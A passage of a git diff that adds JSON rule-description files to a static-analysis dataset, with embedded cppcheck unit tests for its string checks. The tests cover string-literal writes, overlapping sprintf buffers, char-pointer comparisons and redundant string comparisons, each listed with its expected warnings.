literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return '\\\\0' != c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char c) {\\n\"\n \" return c == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return c[0] == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return c[0] == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Char literal compared with pointer 'c[0]'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return *c == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Char literal compared with pointer '*c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char c) {\\n\"\n \" return c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return *c == 0;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(Foo* c) {\\n\"\n \" return 0 == c->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char* c) {\\n\"\n \" if(c == '\\\\0') bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { struct { char *str; } x; } a;\\n\"\n \" return a.x.str == '\\\\0';\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Char literal compared with pointer 'a.x.str'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { struct { char *str; } x; } a;\\n\"\n \" return *a.x.str == '\\\\0';\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void snprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" snprintf(buf,100,\\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in snprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%i\\\",sizeof(buf));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%i\\\",sizeof(buf));\\n\"\n \" if (buf[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf4() {\n check(\"struct A\\n\"\n \"{\\n\"\n \" char filename[128];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" const char* filename = \\\"hello\\\";\\n\"\n \" struct A a;\\n\"\n \" snprintf(a.filename, 128, \\\"%s\\\", filename);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf5() {\n check(\"struct A\\n\"\n \"{\\n\"\n \" char filename[128];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(struct A *a)\\n\"\n \"{\\n\"\n \" snprintf(a->filename, 128, \\\"%s\\\", a->filename);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:39]: (error) Undefined behavior: Variable 'a->filename' is used as parameter and destination in snprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf6() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf((char*)buf,\\\"%s\\\",(char*)buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:29]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf7() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf((char*)(void*)buf,\\\"%s\\\",(void*)(char*)buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void wsprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" wchar_t buf[100];\\n\"\n \" swprintf(buf,10, \\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in swprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void strPlusChar1() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const char *p = \\\"/usr\\\" + '/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Unusual pointer arithmetic. A value of type 'char' is added to a string literal. [strPlusChar]\\n\", errout_str());\n }\n\n void strPlusChar2() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char ch = 1;\\n\"\n \" const char *p = ch + \\\"/usr\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 1;\\n\"\n \" const char* psz = \\\"Bla\\\";\\n\"\n \" const std::string str = i + psz;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strPlusChar3() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string temp = \\\"/tmp\\\";\\n\"\n \" std::string path = temp + '/' + \\\"sub\\\" + '/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strPlusChar4() {\n // Strange looking pointer arithmetic, wide char..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const wchar_t *p = L\\\"/usr\\\" + L'/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (error) Unusual pointer arithmetic. A value of type 'wchar_t' is added to a string literal. [strPlusChar]\\n\", errout_str());\n\n check(\"void foo(wchar_t c)\\n\"\n \"{\\n\"\n \" const wchar_t *p = L\\\"/usr\\\" + c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (error) Unusual pointer arithmetic. A value of type 'wchar_t' is added to a string literal. [strPlusChar]\\n\", errout_str());\n }\n\n void incorrectStringCompare() {\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 4 ) == \\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 4 ) == L\\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal L\\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 5 ) == \\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == test.substr( 0 , 4 ) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == foo.bar().z[1].substr(i+j*4, 4) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == test.substr( 0 , 5 ) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (\\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (\\\"Hello\\\" && test) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (test && \\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" while (\\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (test || \\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (test && \\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (\\\"Hello\\\" || test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (\\\"Hello\\\" && test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" BOOST_ASSERT (\\\"Hello\\\" && test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return f2(\\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 warn about char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal 'a' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'b' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:4:11]: (warning) Conversion of char literal 'c' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:5:11]: (warning) Conversion of char literal 'd' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n , errout_str());\n\n check(\"void f() {\\n\"\n \" if('\\\\0'){}\\n\"\n \" if(L'\\\\0'){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if('\\\\0' || cond){}\\n\"\n \" if(L'\\\\0' || cond){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\", errout_str());\n\n check(\"void f(bool b);\\n\" // #9450\n \"void f(std::string s);\\n\"\n \"void g() {\\n\"\n \" f(\\\"abc\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Conversion of string literal \\\"abc\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \" void f(std::map>&m) {\\n\"\n \" if (m.count(\\\"abc\\\"))\\n\"\n \" g(m[\\\"abc\\\"][0] ? true : false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b);\\n\"\n \"void f() {\\n\"\n \" g('\\\\0');\\n\"\n \" g('a');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:4:7]: (warning) Conversion of char literal 'a' to bool always evaluates to true. [incorrectCharBooleanError]\\n\",\n errout_str());\n\n check(\"#define ERROR(msg) if (msg) printf(\\\"%s\\\\n\\\", msg);\\n\"\n \"void f() {\\n\"\n \"\t ERROR(\\\"abc\\\")\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int, bool);\\n\"\n \"void f() {\\n\"\n \" MyAssert(!\\\"abc\\\");\\n\"\n \" g(2, !\\\"def\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Conversion of string literal \\\"def\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"bool f(const char *p) {\\n\"\n \" if (*p == '\\\\0')\\n\"\n \" return *p == '\\\\0';\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* p, const int* q) {\\n\"\n \" assert((p != NULL && q != NULL) || !\\\"abc\\\");\\n\"\n \" ASSERT((void*)(\\\"def\\\") == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #6109\n \" void check(const char code[], bool validate = true, const char* filename = \\\"test.cpp\\\");\\n\"\n \" void f() {\\n\"\n \" check(\\\"class A;\\\", \\\"test.C\\\");\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:34]: (warning) Conversion of string literal \\\"test.C\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"#define MACRO(C) if(!(C)) { error(__FILE__, __LINE__, __FUNCTION__, #C); return; }\\n\" // #13067\n \"void f() {\\n\"\n \" MACRO(false && \\\"abc\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define strequ(s1,s2) ((void *)s1 && (void *)s2 && strcmp(s1, s2) == 0)\\n\" // #13093\n \"void f(const char* p) {\\n\"\n \" if (strequ(p, \\\"ALL\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deadStrcmp() {\n check(\"void f(const char *str) {\\n\"\n \" if (strcmp(str, \\\"abc\\\") == 0 || strcmp(str, \\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (warning) The expression 'strcmp(str,\\\"def\\\") != 0' is suspicious. It overlaps 'strcmp(str,\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n\n check(\"void f(const wchar_t *str) {\\n\"\n \" if (wcscmp(str, L\\\"abc\\\") == 0 || wcscmp(str, L\\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (warning) The expression 'wcscmp(str,L\\\"def\\\") != 0' is suspicious. It overlaps 'wcscmp(str,L\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n\n check(\"struct X {\\n\"\n \" char *str;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(const struct X *x) {\\n\"\n \" if (strcmp(x->str, \\\"abc\\\") == 0 || strcmp(x->str, \\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:43]: (warning) The expression 'strcmp(x->str,\\\"def\\\") != 0' is suspicious. It overlaps 'strcmp(x->str,\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestString)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/stringLiteralWrite.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/stringLiteralWrite.json new file mode 100644 index 0000000..f48b44c --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/stringLiteralWrite.json @@ -0,0 +1,22 @@ +{ + "name": "stringLiteralWrite", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 17, + "branches": 7, + "apis": 21, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 80 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n\n#include \"checkstring.h\"\n#include \"errortypes.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"fixture.h\"\n\n#include \n\nclass TestString : public TestFixture {\npublic:\n TestString() : TestFixture(\"TestString\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(stringLiteralWrite);\n\n TEST_CASE(alwaysTrueFalseStringCompare);\n TEST_CASE(suspiciousStringCompare);\n TEST_CASE(suspiciousStringCompare_char);\n\n TEST_CASE(strPlusChar1); // \"/usr\" + '/'\n TEST_CASE(strPlusChar2); // \"/usr\" + ch\n TEST_CASE(strPlusChar3); // ok: path + \"/sub\" + '/'\n TEST_CASE(strPlusChar4); // L\"/usr\" + L'/'\n\n TEST_CASE(snprintf1); // Dangerous usage of snprintf\n TEST_CASE(sprintf1); // Dangerous usage of sprintf\n TEST_CASE(sprintf2);\n TEST_CASE(sprintf3);\n TEST_CASE(sprintf4); // struct member\n TEST_CASE(sprintf5); // another struct member\n TEST_CASE(sprintf6); // (char*)\n TEST_CASE(sprintf7); // (char*)(void*)\n TEST_CASE(wsprintf1); // Dangerous usage of wsprintf\n\n TEST_CASE(incorrectStringCompare);\n\n TEST_CASE(deadStrcmp);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check char variable usage..\n runChecks(tokenizer, this);\n }\n\n void stringLiteralWrite() {\n check(\"void f() {\\n\"\n \" char *abc = \\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:15]: (error) Modifying string literal \\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *abc = \\\"abc\\\";\\n\"\n \" *abc = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4] -> [test.cpp:2:15]: (error) Modifying string literal \\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *abc = \\\"A very long string literal\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:15]: (error) Modifying string literal \\\"A very long stri..\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" QString abc = \\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo_FP1(char *p) {\\n\"\n \" p[1] = 'B';\\n\"\n \"}\\n\"\n \"void foo_FP2(void) {\\n\"\n \" char* s = \\\"Y\\\";\\n\"\n \" foo_FP1(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:3] -> [test.cpp:5:13]: (error) Modifying string literal \\\"Y\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\",\n errout_str());\n\n check(\"void foo_FP1(char *p) {\\n\"\n \" p[1] = 'B';\\n\"\n \"}\\n\"\n \"void foo_FP2(void) {\\n\"\n \" char s[10] = \\\"Y\\\";\\n\"\n \" foo_FP1(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" wchar_t *abc = L\\\"abc\\\";\\n\"\n \" abc[0] = u'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:18]: (error) Modifying string literal L\\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char16_t *abc = u\\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:19]: (error) Modifying string literal u\\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #8332\n \" int i;\\n\"\n \" char *p = \\\"string literal\\\";\\n\"\n \" for( i = 0; i < strlen(p); i++) {\\n\"\n \" p[i] = \\'X\\';\\n\" // <<\n \" }\\n\"\n \" printf(\\\"%s\\\\n\\\", p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:16]: (error) Modifying string literal \\\"string literal\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n }\n\n void alwaysTrueFalseStringCompare() {\n check(\"void f() {\\n\"\n \" if (strcmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (strncmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (strcasecmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (strncasecmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (memcmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (strverscmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (bcmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (wcsncasecmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wcsncmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wmemcmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wcscmp(L\\\"A\\\",L\\\"A\\\")){}\\n\"\n \" if (wcscasecmp(L\\\"A\\\",L\\\"A\\\")){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:4:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:5:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:6:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:7:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:8:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:9:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:10:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:11:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:12:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:13:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(void *p, int offset) {\\n\"\n \" if (!memcmp(p, p + offset, 42)){}\\n\"\n \" if (!memcmp(p + offset, p, 42)){}\\n\"\n \" if (!memcmp(offset + p, p, 42)){}\\n\"\n \" if (!memcmp(p, offset + p, 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(char *c, int offset) {\\n\"\n \" if (!memcmp(c, c + offset, 42)){}\\n\"\n \" if (!memcmp(c + offset, c, 42)){}\\n\"\n \" if (!memcmp(offset + c, c, 42)){}\\n\"\n \" if (!memcmp(c, offset + c, 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(std::string s, int offset) {\\n\"\n \" if (!memcmp(s.c_str(), s.c_str() + offset, 42)){}\\n\"\n \" if (!memcmp(s.c_str() + offset, s.c_str(), 42)){}\\n\"\n \" if (!memcmp(offset + s.c_str(), s.c_str(), 42)){}\\n\"\n \" if (!memcmp(s.c_str(), offset + s.c_str(), 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void) {\\n\" // #13527\n \" const wchar_t* str1 = L\\\"Hello\\\";\\n\"\n \" return wcsicmp(str1, str1);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (strcmp(\\\"00FF00\\\", \\\"00FF00\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (strcmp($\\\"00FF00\\\", \\\"00FF00\\\") == 0) {}\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if ($strcmp(\\\"00FF00\\\", \\\"00FF00\\\") == 0) {}\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (stricmp(\\\"hotdog\\\",\\\"HOTdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (QString::compare(\\\"Hamburger\\\", \\\"Hotdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (QString::compare(argv[2], \\\"hotdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (strncmp(\\\"hotdog\\\",\\\"hotdog\\\", 6) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int foo(const char *buf)\\n\"\n \"{\\n\"\n \" if (strcmp(buf, buf) == 0)\"\n \" 